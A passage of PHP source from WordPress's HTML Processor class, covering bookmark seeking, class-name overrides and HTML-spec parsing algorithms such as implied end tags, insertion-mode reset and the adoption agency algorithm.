	public function get_attribute_names_with_prefix( $prefix ): ?array {
		return $this->is_virtual() ? null : parent::get_attribute_names_with_prefix( $prefix );
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::add_class( $class_name );
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::remove_class( $class_name );
	}

	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @todo When reconstructing active formatting elements with attributes, find a way
	 *       to indicate if the virtually-reconstructed formatting elements contain the
	 *       wanted class name.
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		return $this->is_virtual() ? null : parent::has_class( $wanted_class );
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 */
	public function class_list() {
		return $this->is_virtual() ? null : parent::class_list();
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		return $this->is_virtual() ? '' : parent::get_modifiable_text();
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		return $this->is_virtual() ? null : parent::get_comment_type();
	}

	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $bookmark_name ): bool {
		return parent::release_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Moves the internal cursor in the HTML Processor to a given bookmark's location.
	 *
	 * Be careful! Seeking backwards to a previous location resets the parser to the
	 * start of the document and reparses the entire contents up until it finds the
	 * sought-after bookmarked location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		// Flush any pending updates to the document before beginning.
		$this->get_updated_html();

		$actual_bookmark_name = "_{$bookmark_name}";
		$processor_started_at = $this->state->current_token
			? $this->bookmarks[ $this->state->current_token->bookmark_name ]->start
			: 0;
		$bookmark_starts_at   = $this->bookmarks[ $actual_bookmark_name ]->start;
		$direction            = $bookmark_starts_at > $processor_started_at ? 'forward' : 'backward';

		/*
		 * If seeking backwards, it's possible that the sought-after bookmark exists within an element
		 * which has been closed before the current cursor; in other words, it has already been removed
		 * from the stack of open elements. This means that it's insufficient to simply pop off elements
		 * from the stack of open elements which appear after the bookmarked location and then jump to
		 * that location, as the elements which were open before won't be re-opened.
		 *
		 * In order to maintain consistency, the HTML Processor rewinds to the start of the document
		 * and reparses everything until it finds the sought-after bookmark.
		 *
		 * There are potentially better ways to do this: cache the parser state for each bookmark and
		 * restore it when seeking; store an immutable and idempotent register of where elements open
		 * and close.
		 *
		 * If caching the parser state it will be essential to properly maintain the cached stack of
		 * open elements and active formatting elements when modifying the document. This could be a
		 * tedious and time-consuming process as well, and so for now will not be performed.
		 *
		 * It may be possible to track bookmarks for where elements open and close, and in doing so
		 * be able to quickly recalculate breadcrumbs for any element in the document. It may even
		 * be possible to remove the stack of open elements and compute it on the fly this way.
		 * If doing this, the parser would need to track the opening and closing locations for all
		 * tokens in the breadcrumb path for any and all bookmarks. By utilizing bookmarks themselves
		 * this list could be automatically maintained while modifying the document. Finding the
		 * breadcrumbs would then amount to traversing that list from the start until the token
		 * being inspected. Once an element closes, if there are no bookmarks pointing to locations
		 * within that element, then all of these locations may be forgotten to save on memory use
		 * and computation time.
		 */
		if ( 'backward' === $direction ) {

			/*
			 * When moving backward, stateful stacks should be cleared.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->remove_node( $item );
			}

			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				$this->state->active_formatting_elements->remove_node( $item );
			}

			/*
			 * **After** clearing stacks, more processor state can be reset.
			 * This must be done after clearing the stack because those stacks generate events that
			 * would appear on a subsequent call to `next_token()`.
			 */
			$this->state->frameset_ok                       = true;
			$this->state->stack_of_template_insertion_modes = array();
			$this->state->head_element                      = null;
			$this->state->form_element                      = null;
			$this->state->current_token                     = null;
			$this->current_element                          = null;
			$this->element_queue                            = array();

			/*
			 * The absence of a context node indicates a full parse.
			 * The presence of a context node indicates a fragment parser.
			 */
			if ( null === $this->context_node ) {
				$this->change_parsing_namespace( 'html' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_INITIAL;
				$this->breadcrumbs           = array();

				$this->bookmarks['initial'] = new WP_HTML_Span( 0, 0 );
				parent::seek( 'initial' );
				unset( $this->bookmarks['initial'] );
			} else {

				/*
				 * Push the root-node (HTML) back onto the stack of open elements.
				 *
				 * Fragment parsers require this extra bit of setup.
				 * It's handled in full parsers by advancing the processor state.
				 */
				$this->state->stack_of_open_elements->push(
					new WP_HTML_Token(
						'root-node',
						'HTML',
						false
					)
				);

				$this->change_parsing_namespace(
					$this->context_node->integration_node_type
						? 'html'
						: $this->context_node->namespace
				);

				if ( 'TEMPLATE' === $this->context_node->node_name ) {
					$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				}

				$this->reset_insertion_mode_appropriately();
				$this->breadcrumbs = array_slice( $this->breadcrumbs, 0, 2 );
				parent::seek( $this->context_node->bookmark_name );
			}
		}

		/*
		 * Here, the processor moves forward through the document until it matches the bookmark.
		 * do-while is used here because the processor is expected to already be stopped on
		 * a token than may match the bookmarked location.
		 */
		do {
			/*
			 * The processor will stop on virtual tokens, but bookmarks may not be set on them.
			 * They should not be matched when seeking a bookmark, skip them.
			 */
			if ( $this->is_virtual() ) {
				continue;
			}
			if ( $bookmark_starts_at === $this->bookmarks[ $this->state->current_token->bookmark_name ]->start ) {
				return true;
			}
		} while ( $this->next_token() );

		return false;
	}

	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * Bookmarks cannot be set on tokens that do no appear in the original
	 * HTML text. For example, the HTML `<table><td>` stops at tags `TABLE`,
	 * `TBODY`, `TR`, and `TD`. The `TBODY` and `TR` tags do not appear in
	 * the original HTML and cannot be used as bookmarks.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $bookmark_name ): bool {
		if ( $this->is_virtual() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Cannot set bookmarks on tokens that do no appear in the original HTML text.' ),
				'6.8.0'
			);
			return false;
		}
		return parent::set_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.5.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return parent::has_bookmark( "_{$bookmark_name}" );
	}

	/*
	 * HTML Parsing Algorithms
	 */

	/**
	 * Closes a P element.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#close-a-p-element
	 */
	private function close_a_p_element(): void {
		$this->generate_implied_end_tags( 'P' );
		$this->state->stack_of_open_elements->pop_until( 'P' );
	}

	/**
	 * Closes elements that have implied end tags.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 *
	 * @param string|null $except_for_this_element Perform as if this element doesn't exist in the stack of open elements.
	 */
	private function generate_implied_end_tags( ?string $except_for_this_element = null ): void {
		$elements_with_implied_end_tags = array(
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
		);

		$no_exclusions = ! isset( $except_for_this_element );

		while (
			( $no_exclusions || ! $this->state->stack_of_open_elements->current_node_is( $except_for_this_element ) ) &&
			in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true )
		) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Closes elements that have implied end tags, thoroughly.
	 *
	 * See the HTML specification for an explanation why this is
	 * different from generating end tags in the normal sense.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see WP_HTML_Processor::generate_implied_end_tags
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 */
	private function generate_implied_end_tags_thoroughly(): void {
		$elements_with_implied_end_tags = array(
			'CAPTION',
			'COLGROUP',
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
			'TBODY',
			'TD',
			'TFOOT',
			'TH',
			'THEAD',
			'TR',
		);

		while ( in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true ) ) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Returns the adjusted current node.
	 *
	 * > The adjusted current node is the context element if the parser was created as
	 * > part of the HTML fragment parsing algorithm and the stack of open elements
	 * > has only one element in it (fragment case); otherwise, the adjusted current
	 * > node is the current node.
	 *
	 * @see https://html.spec.whatwg.org/#adjusted-current-node
	 *
	 * @since 6.7.0
	 *
	 * @return WP_HTML_Token|null The adjusted current node.
	 */
	private function get_adjusted_current_node(): ?WP_HTML_Token {
		if ( isset( $this->context_node ) && 1 === $this->state->stack_of_open_elements->count() ) {
			return $this->context_node;
		}

		return $this->state->stack_of_open_elements->current_node();
	}

	/**
	 * Reconstructs the active formatting elements.
	 *
	 * > This has the effect of reopening all the formatting elements that were opened
	 * > in the current body, cell, or caption (whichever is youngest) that haven't
	 * > been explicitly closed.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#reconstruct-the-active-formatting-elements
	 *
	 * @return bool Whether any formatting elements needed to be reconstructed.
	 */
	private function reconstruct_active_formatting_elements(): bool {
		/*
		 * > If there are no entries in the list of active formatting elements, then there is nothing
		 * > to reconstruct; stop this algorithm.
		 */
		if ( 0 === $this->state->active_formatting_elements->count() ) {
			return false;
		}

		$last_entry = $this->state->active_formatting_elements->current_node();
		if (

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is a marker;
			 * > stop this algorithm.
			 */
			'marker' === $last_entry->node_name ||

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is an
			 * > element that is in the stack of open elements, then there is nothing to reconstruct;
			 * > stop this algorithm.
			 */
			$this->state->stack_of_open_elements->contains_node( $last_entry )
		) {
			return false;
		}

		$this->bail( 'Cannot reconstruct active formatting elements when advancing and rewinding is required.' );
	}

	/**
	 * Runs the reset the insertion mode appropriately algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#reset-the-insertion-mode-appropriately
	 */
	private function reset_insertion_mode_appropriately(): void {
		// Set the first node.
		$first_node = null;
		foreach ( $this->state->stack_of_open_elements->walk_down() as $first_node ) {
			break;
		}

		/*
		 * > 1. Let _last_ be false.
		 */
		$last = false;
		foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
			/*
			 * > 2. Let _node_ be the last node in the stack of open elements.
			 * > 3. _Loop_: If _node_ is the first node in the stack of open elements, then set _last_
			 * >            to true, and, if the parser was created as part of the HTML fragment parsing
			 * >            algorithm (fragment case), set node to the context element passed to
			 * >            that algorithm.
			 * > …
			 */
			if ( $node === $first_node ) {
				$last = true;
				if ( isset( $this->context_node ) ) {
					$node = $this->context_node;
				}
			}

			// All of the following rules are for matching HTML elements.
			if ( 'html' !== $node->namespace ) {
				continue;
			}

			switch ( $node->node_name ) {
				/*
				 * > 4. If node is a `select` element, run these substeps:
				 * >   1. If _last_ is true, jump to the step below labeled done.
				 * >   2. Let _ancestor_ be _node_.
				 * >   3. _Loop_: If _ancestor_ is the first node in the stack of open elements,
				 * >      jump to the step below labeled done.
				 * >   4. Let ancestor be the node before ancestor in the stack of open elements.
				 * >   …
				 * >   7. Jump back to the step labeled _loop_.
				 * >   8. _Done_: Switch the insertion mode to "in select" and return.
				 */
				case 'SELECT':
					if ( ! $last ) {
						foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $ancestor ) {
							if ( 'html' !== $ancestor->namespace ) {
								continue;
							}

							switch ( $ancestor->node_name ) {
								/*
								 * > 5. If _ancestor_ is a `template` node, jump to the step below
								 * >    labeled _done_.
								 */
								case 'TEMPLATE':
									break 2;

								/*
								 * > 6. If _ancestor_ is a `table` node, switch the insertion mode to
								 * >    "in select in table" and return.
								 */
								case 'TABLE':
									$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
									return;
							}
						}
					}
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
					return;

				/*
				 * > 5. If _node_ is a `td` or `th` element and _last_ is false, then switch the
				 * >    insertion mode to "in cell" and return.
				 */
				case 'TD':
				case 'TH':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
						return;
					}
					break;

					/*
					* > 6. If _node_ is a `tr` element, then switch the insertion mode to "in row"
					* >    and return.
					*/
				case 'TR':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
					return;

				/*
				 * > 7. If _node_ is a `tbody`, `thead`, or `tfoot` element, then switch the
				 * >    insertion mode to "in table body" and return.
				 */
				case 'TBODY':
				case 'THEAD':
				case 'TFOOT':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
					return;

				/*
				 * > 8. If _node_ is a `caption` element, then switch the insertion mode to
				 * >    "in caption" and return.
				 */
				case 'CAPTION':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
					return;

				/*
				 * > 9. If _node_ is a `colgroup` element, then switch the insertion mode to
				 * >    "in column group" and return.
				 */
				case 'COLGROUP':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
					return;

				/*
				 * > 10. If _node_ is a `table` element, then switch the insertion mode to
				 * >     "in table" and return.
				 */
				case 'TABLE':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
					return;

				/*
				 * > 11. If _node_ is a `template` element, then switch the insertion mode to the
				 * >     current template insertion mode and return.
				 */
				case 'TEMPLATE':
					$this->state->insertion_mode = end( $this->state->stack_of_template_insertion_modes );
					return;

				/*
				 * > 12. If _node_ is a `head` element and _last_ is false, then switch the
				 * >     insertion mode to "in head" and return.
				 */
				case 'HEAD':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
						return;
					}
					break;

				/*
				 * > 13. If _node_ is a `body` element, then switch the insertion mode to "in body"
				 * >     and return.
				 */
				case 'BODY':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
					return;

				/*
				 * > 14. If _node_ is a `frameset` element, then switch the insertion mode to
				 * >     "in frameset" and return. (fragment case)
				 */
				case 'FRAMESET':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
					return;

				/*
				 * > 15. If _node_ is an `html` element, run these substeps:
				 * >     1. If the head element pointer is null, switch the insertion mode to
				 * >        "before head" and return. (fragment case)
				 * >     2. Otherwise, the head element pointer is not null, switch the insertion
				 * >        mode to "after head" and return.
				 */
				case 'HTML':
					$this->state->insertion_mode = isset( $this->state->head_element )
						? WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD
						: WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
					return;
			}
		}

		/*
		 * > 16. If _last_ is true, then switch the insertion mode to "in body"
		 * >     and return. (fragment case)
		 *
		 * This is only reachable if `$last` is true, as per the fragment parsing case.
		 */
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
	}

	/**
	 * Runs the adoption agency algorithm.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#adoption-agency-algorithm
	 */
	private function run_adoption_agency_algorithm(): void {
		$budget       = 1000;
		$subject      = $this->get_tag();
		$current_node = $this->state->stack_of_open_elements->current_node();

		if (
			// > If the current node is an HTML element whose tag name is subject
			$current_node && $subject === $current_node->node_name &&
			// > the current node is not in the list of active formatting elements
			! $this->state->active_formatting_elements->contains_node( $current_node )
		) {
			$this->state->stack_of_open_elements->pop();
			return;
		}

		$outer_loop_counter = 0;
		while ( $budget-- > 0 ) {
			if ( $outer_loop_counter++ >= 8 ) {
				return;
			}

			/*
			 * > Let formatting element be the last element in the list of active formatting elements that:
			 * >   - is between the end of the list and the last marker in the list,
			 * >     if any, or the start of the list otherwise,
			 * >   - and has the tag name subject.
			 */
			$formatting_element = null;
			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				if ( 'marker' === $item->node_name ) {
					break;
				}

				if ( $subject === $item->node_name ) {
					$formatting_element = $item;
					break;
				}
			}

			// > If there is no such element, then return and instead act as described in the "any other end tag" entry above.
			if ( null === $formatting_element ) {
				$this->bail( 'Cannot run adoption agency when "any other end tag" is required.' );
			}

			// > If formatting element is not in the stack of open elements, then this is a parse error; remove the element from the list, and return.
			if ( ! $this->state->stack_of_open_elements->contains_node( $formatting_element ) ) {
				$this->state->active_formatting_elements->remove_node( $formatting_element );
				return;
			}

			// > If formatting element is in the stack of open elements, but the element is not in scope, then this is a parse error; return.
			if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $formatting_element->node_name ) ) {
				return;
			}

			/*
			 * > Let furthest block be the topmost node in the stack of open elements that is lower in the stack
			 * > than formatting element, and is an element in the special category. There might not be one.
			 */
			$is_above_formatting_element = true;
			$furthest_block              = null;
			foreach ( $this->state->stack_of_open_elements->walk_down() as $item ) {
				if ( $is_above_formatting_element && $formatting_element->bookmark_name !== $item->bookmark_name ) {
					continue;
				}

				if ( $is_above_formatting_element ) {
					$is_above_formatting_element = false;
					continue;
				}

				if ( self::is_special( $item ) ) {
					$furthest_block = $item;
					break;
				}
			}

			/*
			 * > If there is no furthest block, then the UA must first pop all the nodes from the bottom of the
			 * > stack of open elements, from the current node up to and including formatting element, then
			 * > remove formatting element from the list of active formatting elements, and finally return.
			 */
			if ( null === $furthest_block ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();

					if ( $formatting_element->bookmark_name === $item->bookmark_name ) {
						$this->state->active_formatting_elements->remove_node( $formatting_element );
						return;
					}
				}
			}

			$this->bail( 'Cannot extract common ancestor in adoption agency algorithm.' );
		}

		$this->bail( 'Cannot run adoption agency when looping required.' );
	}

	/**
	 * Runs the "close the cell" algorithm.
	 *
	 * > Where the steps above say to close the cell, they mean to run the following algorithm:
	 * >   1. Generate implied end tags.
	 * >   2. If the current node is not now a td element or a th element, then this is a parse error.
	 * >   3. Pop elements from the stack of open elements stack until a td element or a th element has been popped from the stack.
	 * >   4. Clear the list of active formatting elements up to the last marker.
	 * >   5. Switch the insertion mode to "in row".
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#close-the-cell
	 *
	 * @since 6.7.0
	 */
	private function close_cell(): void {
		$this->generate_implied_end_tags();
		// @todo Parse error if the current node is a "td" or "th" element.
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			$this->state->stack_of_open_elements->pop();
			if ( 'TD' === $element->node_name || 'TH' === $element->node_name ) {
				break;
			}
		}
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
	}

	/**
	 * Inserts an HTML element on the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token Name of bookmark pointing to element in original input HTML.
	 */
	private function insert_html_element( WP_HTML_Token $token ): void {
		$this->state->stack_of_open_elements->push( $token );
	}

	/**
	 * Inserts a foreign element on to the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token                     Insert this token. The token's namespace and
	 *                                                 insertion point will be updated correctly.
	 * @param bool          $only_add_to_element_stack Whether to skip the "insert an element at the adjusted
	 *                                                 insertion location" algorithm when adding this element.
	 */
	private function insert_foreign_element( WP_HTML_Token $token, bool $only_add_to_element_stack ): void {
		$adjusted_current_node = $this->get_adjusted_current_node();

		$token->namespace = $adjusted_current_node ? $adjusted_current_node->namespace : 'html';

		if ( $this->is_mathml_integration_point() ) {
			$token->integration_node_type = 'math';
		} elseif ( $this->is_html_integration_point() ) {
			$token->integration_node_type = 'html';
		}

		if ( false === $only_add_to_element_stack ) {
			/*
			 * @todo Implement the "appropriate place for inserting a node" and the
			 *       "insert an element at the adjusted insertion location" algorithms.
			 *
			 * These algorithms mostly impacts DOM tree construction and not the HTML API.
			 * Here, there's no DOM node onto which the element will be appended, so the
			 * parser will skip this step.
			 *
			 * @see https://html.spec.whatwg.org/#insert-an-element-at-the-adjusted-insertion-location
			 */
		}

		$this->insert_html_element( $token );
	}

	/**
	 * Inserts a virtual element on the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string      $token_name    Name of token to create and insert into the stack of open elements.
	 * @param string|null $bookmark_name Optional. Name to give bookmark for created virtual node.
	 *                                   Defaults to auto-creating a bookmark name.
	 * @return WP_HTML_Token Newly-created virtual token.
	 */
	private function insert_virtual_node( $token_name, $bookmark_name = null ): WP_HTML_Token {
		$here = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$name = $bookmark_name ?? $this->bookmark_token();

		$this->bookmarks[ $name ] = new WP_HTML_Span( $here->start, 0 );

		$token = new WP_HTML_Token( $name, $token_name, false );
		$this->insert_html_element( $token );
		return $token;
	}

	/*
	 * HTML Specification Helpers
	 */

	/**
	 * Indicates if the current token is a MathML integration point.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#mathml-text-integration-point
	 *
	 * @return bool Whether the current token is a MathML integration point.
	 */
	private function is_mathml_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'math' !== $current_token->namespace || 'M' !== $current_token->node_name[0] ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		return (
			'MI' === $tag_name ||
			'MO' === $tag_name ||
			'MN' === $tag_name ||
			'MS' === $tag_name ||
			'MTEXT' === $tag_name
		);
	}

	/**
	 * Indicates if the current token is an HTML integration point.
	 *
	 * Note that this method must be an instance method with access
	 * to the current token, since it needs to examine the attributes
	 * of the currently-matched tag, if it's in the MathML namespace.
	 * Otherwise it would be required to scan the HTML and ensure that
	 * no other accounting is overlooked.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#html-integration-point
	 *
	 * @return bool Whether the current token is an HTML integration point.
	 */
	private function is_html_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'html' === $current_token->namespace ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		if ( 'svg' === $current_token->namespace ) {
			return (
				'DESC' === $tag_name ||
				'FOREIGNOBJECT' === $tag_name ||
				'TITLE' === $tag_name
			);
		}

		if ( 'math' === $current_token->namespace ) {
			if ( 'ANNOTATION-XML' !== $tag_name ) {
				return false;
			}

			$encoding = $this->get_attribute( 'encoding' );

			return (
				is_string( $encoding ) &&
				(
					0 === strcasecmp( $encoding, 'application/xhtml+xml' ) ||
					0 === strcasecmp( $encoding, 'text/html' )
				)
			);
		}

		$this->bail( 'Should not have reached end of HTML Integration Point detection: check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Returns whether an element of a given name is in the HTML special category.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#special
	 *
	 * @param WP_HTML_Token|string $tag_name Node to check, or only its name if in the HTML namespace.
	 * @return bool Whether the element of the given name is in the special category.
	 */
	public static function is_special( $tag_name ): bool {
		if ( is_string( $tag_name ) ) {
			$tag_name = strtoupper( $tag_name );
		} else {
			$tag_name = 'html' === $tag_name->namespace
				? strtoupper( $tag_name->node_name )
				: "{$tag_name->namespace} {$tag_name->node_name}";
		}

		return (
			'ADDRESS' === $tag_name ||
			'APPLET' === $tag_name ||
			'AREA' === $tag_name ||
			'ARTICLE' === $tag_name ||
			'ASIDE' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name ||
			'BGSOUND' === $tag_name ||
			'BLOCKQUOTE' === $tag_name ||
			'BODY' === $tag_name ||
			'BR' === $tag_name ||
			'BUTTON' === $tag_name ||
